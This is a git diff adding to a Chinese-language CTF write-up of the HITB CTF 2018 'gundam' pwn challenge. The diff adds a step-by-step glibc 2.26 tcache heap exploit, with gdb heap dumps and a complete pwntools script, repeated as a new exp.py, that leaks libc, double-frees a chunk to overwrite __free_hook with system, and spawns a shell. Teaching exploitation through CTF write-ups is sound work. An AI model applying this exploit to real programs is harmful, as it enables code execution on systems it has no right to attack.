diff --git a/doc/6.1.19_pwn_hitbctf2018_gundam.md b/doc/6.1.19_pwn_hitbctf2018_gundam.md
index dabfcb1..4adb0a2 100644
--- a/doc/6.1.19_pwn_hitbctf2018_gundam.md
+++ b/doc/6.1.19_pwn_hitbctf2018_gundam.md
@@ -19,7 +19,7 @@ $ strings libc.so.6 | grep "GNU C"
 GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
 Compiled by GNU CC version 6.4.0 20171010.
 ```
-保护全开。libc 版本 2.26，所以应该还是考察 tcache（参考章节4.14）。
+保护全开，也默认 ASLR 开。libc 版本 2.26，所以应该还是考察 tcache（参考章节4.14）。
 
 玩一下：
 ```
@@ -315,7 +315,7 @@ struct gundam *factory[9];
 ```
 另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
 
-从读入 name 的操作中我们发现，程序并没有在末尾设置 '\x00'，可能导致信息泄漏。
+从读入 name 的操作中我们发现，程序并没有在末尾设置 '\x00'，可能导致信息泄漏（以'\x0a'结尾）。
 
 #### Visit gundams
 ```
@@ -537,6 +537,229 @@ struct gundam *factory[9];
 
 
 ## Exploit
+所以利用过程如下：
+1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址，可以计算出 `__free_hook` 和 `system` 的地址。
+2. 利用 double free，将 `__free_hook` 修改为 `system`。
+3. 当调用 `free` 的时候就会调用 `system`，获得 shell。
+
+#### leak
+```python
+def leak():
+    global __free_hook_addr
+    global system_addr
+
+    for i in range(9):
+        build('A'*7)
+    for i in range(7):
+        destroy(i)      # tcache bin
+    destroy(7)          # unsorted bin
+
+    blow_up()
+    for i in range(8):
+        build('A'*7)
+
+    visit()
+    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
+    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
+    __free_hook_addr = libc_base + libc.symbols['__free_hook']
+    system_addr = libc_base + libc.symbols['system']
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("__free_hook address: 0x%x" % __free_hook_addr)
+    log.info("system address: 0x%x" % system_addr)
+```
+
+chunk 被放进 unsorted bin 时：
+```
+gdb-peda$ vmmap heap
+Start              End                Perm      Name
+0x0000555555757000 0x0000555555778000 rw-p      [heap]
+gdb-peda$ x/30gx 0x0000555555757000+0x10
+0x555555757010: 0x0000000000000000      0x0700000000000000  <-- counts
+0x555555757020: 0x0000000000000000      0x0000000000000000
+0x555555757030: 0x0000000000000000      0x0000000000000000
+0x555555757040: 0x0000000000000000      0x0000000000000000
+0x555555757050: 0x0000000000000000      0x0000000000000000
+0x555555757060: 0x0000000000000000      0x0000000000000000
+0x555555757070: 0x0000000000000000      0x0000000000000000
+0x555555757080: 0x0000000000000000      0x0000000000000000
+0x555555757090: 0x0000000000000000      0x0000000000000000
+0x5555557570a0: 0x0000000000000000      0x0000000000000000
+0x5555557570b0: 0x0000000000000000      0x0000000000000000
+0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
+0x5555557570d0: 0x0000000000000000      0x0000000000000000
+0x5555557570e0: 0x0000000000000000      0x0000000000000000
+0x5555557570f0: 0x0000000000000000      0x0000000000000000
+gdb-peda$ x/6gx 0x555555757b50-0x10
+0x555555757b40: 0x0000000000000000      0x0000000000000111
+0x555555757b50: 0x00007ffff7dd2c78      0x00007ffff7dd2c78  <-- unsorted bin
+0x555555757b60: 0x0000000000000000      0x0000000000000000
+gdb-peda$ vmmap libc
+Start              End                Perm      Name
+0x00007ffff79f8000 0x00007ffff7bce000 r-xp      /home/firmy/gundam/libc.so.6
+0x00007ffff7bce000 0x00007ffff7dce000 ---p      /home/firmy/gundam/libc.so.6
+0x00007ffff7dce000 0x00007ffff7dd2000 r--p      /home/firmy/gundam/libc.so.6
+0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p      /home/firmy/gundam/libc.so.6
+gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
+$1 = 0x3dac78
+```
+可以看到对应的 tcache bin 中已经放满了 7 个 chunk，所以第 8 块 chunk 被放进了 unsorted bin。
+
+再次 malloc 之后：
+```
+gdb-peda$ x/6gx 0x555555757b50-0x10
+0x555555757b40: 0x0000000000000000      0x0000000000000111
+0x555555757b50: 0x0a41414141414141      0x00007ffff7dd2c78
+0x555555757b60: 0x0000000000000000      0x0000000000000000
+```
+可以看到程序并没有在字符串后加 '\x00' 隔断，所以可以将 unsorted bin 的地址泄漏出来，然后通过计算得到 libc 基址。
+
+```
+[*] libc base: 0x7ffff79f8000
+[*] __free_hook address: 0x7ffff7dd48a8
+[*] system address: 0x7ffff7a3fdc0
+```
+
+#### overwrite
+```python
+def overwrite():
+    destroy(2)
+    destroy(1)
+    destroy(0)
+    destroy(0)      # double free
+
+    blow_up()
+    build(p64(__free_hook_addr))    # 0
+    build('/bin/sh\x00')            # 1
+    build(p64(system_addr))         # 2
+```
+
+触发 double free 时：
+```
+gdb-peda$ x/30gx 0x0000555555757000+0x10
+0x555555757010: 0x0000000000000000      0x0400000000000000  <-- counts
+0x555555757020: 0x0000000000000000      0x0000000000000000
+0x555555757030: 0x0000000000000000      0x0000000000000000
+0x555555757040: 0x0000000000000000      0x0000000000000000
+0x555555757050: 0x0000000000000000      0x0000000000000000
+0x555555757060: 0x0000000000000000      0x0000000000000000
+0x555555757070: 0x0000000000000000      0x0000000000000000
+0x555555757080: 0x0000000000000000      0x0000000000000000
+0x555555757090: 0x0000000000000000      0x0000000000000000
+0x5555557570a0: 0x0000000000000000      0x0000000000000000
+0x5555557570b0: 0x0000000000000000      0x0000000000000000
+0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
+0x5555557570d0: 0x0000000000000000      0x0000000000000000
+0x5555557570e0: 0x0000000000000000      0x0000000000000000
+0x5555557570f0: 0x0000000000000000      0x0000000000000000
+gdb-peda$ x/6gx 0x0000555555757a10-0x10
+0x555555757a00: 0x0000000000000000      0x0000000000000111
+0x555555757a10: 0x0000555555757a10      0x0000000000000000  <-- fd pointer
+0x555555757a20: 0x0000000000000000      0x0000000000000000
+```
+其 fd 指针指向了它自己。
+
+接下来的 malloc 将改写 `__free_hook` 的地址：
+```
+gdb-peda$ x/6gx 0x0000555555757a10-0x10
+0x555555757a00: 0x0000000000000000      0x0000000000000111
+0x555555757a10: 0x0068732f6e69622f      0x000000000000000a
+0x555555757a20: 0x0000000000000000      0x0000000000000000
+gdb-peda$ x/gx 0x00007ffff7dd48a8
+0x7ffff7dd48a8 <__free_hook>:   0x00007ffff7a3fdc0
+gdb-peda$ p system
+$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
+```
+
+#### pwn
+```python
+def pwn():
+    destroy(1)
+    io.interactive()
+```
+
+Bingo!!!
+```
+$ python exp.py 
+[+] Starting local process './gundam': pid 7264
+[*] Switching to interactive mode
+$ whoami
+firmy
+```
+
+#### exp
+完整的 exp 如下：
+```python
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
+#elf = ELF('gundam')
+libc = ELF('libc.so.6')
+
+def build(name):
+    io.sendlineafter("choice : ", '1')
+    io.sendlineafter("gundam :", name)
+    io.sendlineafter("gundam :", '0')
+
+def visit():
+    io.sendlineafter("choice : ", '2')
+
+def destroy(idx):
+    io.sendlineafter("choice : ", '3')
+    io.sendlineafter("Destory:", str(idx))
+
+def blow_up():
+    io.sendlineafter("choice : ", '4')
+
+def leak():
+    global __free_hook_addr
+    global system_addr
+
+    for i in range(9):
+        build('A'*7)
+    for i in range(7):
+        destroy(i)      # tcache bin
+    destroy(7)          # unsorted bin
+
+    blow_up()
+    for i in range(8):
+        build('A'*7)
+
+    visit()
+    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
+    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
+    __free_hook_addr = libc_base + libc.symbols['__free_hook']
+    system_addr = libc_base + libc.symbols['system']
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("__free_hook address: 0x%x" % __free_hook_addr)
+    log.info("system address: 0x%x" % system_addr)
+
+def overwrite():
+    destroy(2)
+    destroy(1)
+    destroy(0)
+    destroy(0)      # double free
+
+    blow_up()
+    build(p64(__free_hook_addr))    # 0
+    build('/bin/sh\x00')            # 1
+    build(p64(system_addr))         # 2
+
+def pwn():
+    destroy(1)
+    io.interactive()
+
+if __name__ == "__main__":
+    leak()
+    overwrite()
+    pwn()
+```
+
 
 ## 参考资料
 - https://ctftime.org/task/5924
diff --git a/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py b/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
new file mode 100644
index 0000000..ccb9693
--- /dev/null
+++ b/src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
+#elf = ELF('gundam')
+libc = ELF('libc.so.6')
+
+def build(name):
+    io.sendlineafter("choice : ", '1')
+    io.sendlineafter("gundam :", name)
+    io.sendlineafter("gundam :", '0')
+
+def visit():
+    io.sendlineafter("choice : ", '2')
+
+def destroy(idx):
+    io.sendlineafter("choice : ", '3')
+    io.sendlineafter("Destory:", str(idx))
+
+def blow_up():
+    io.sendlineafter("choice : ", '4')
+
+def leak():
+    global __free_hook_addr
+    global system_addr
+
+    for i in range(9):
+        build('A'*7)
+    for i in range(7):
+        destroy(i)      # tcache bin
+    destroy(7)          # unsorted bin
+
+    blow_up()
+    for i in range(8):
+        build('A'*7)
+
+    visit()
+    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
+    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
+    __free_hook_addr = libc_base + libc.symbols['__free_hook']
+    system_addr = libc_base + libc.symbols['system']
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("__free_hook address: 0x%x" % __free_hook_addr)
+    log.info("system address: 0x%x" % system_addr)
+
+def overwrite():
+    destroy(2)
+    destroy(1)
+    destroy(0)
+    destroy(0)      # double free
+
+    blow_up()
+    build(p64(__free_hook_addr))    # 0
+    build('/bin/sh\x00')            # 1
+    build(p64(system_addr))         # 2
+
+def pwn():
+    destroy(1)
+    io.interactive()
+
+if __name__ == "__main__":
+    leak()
+    overwrite()
+    pwn()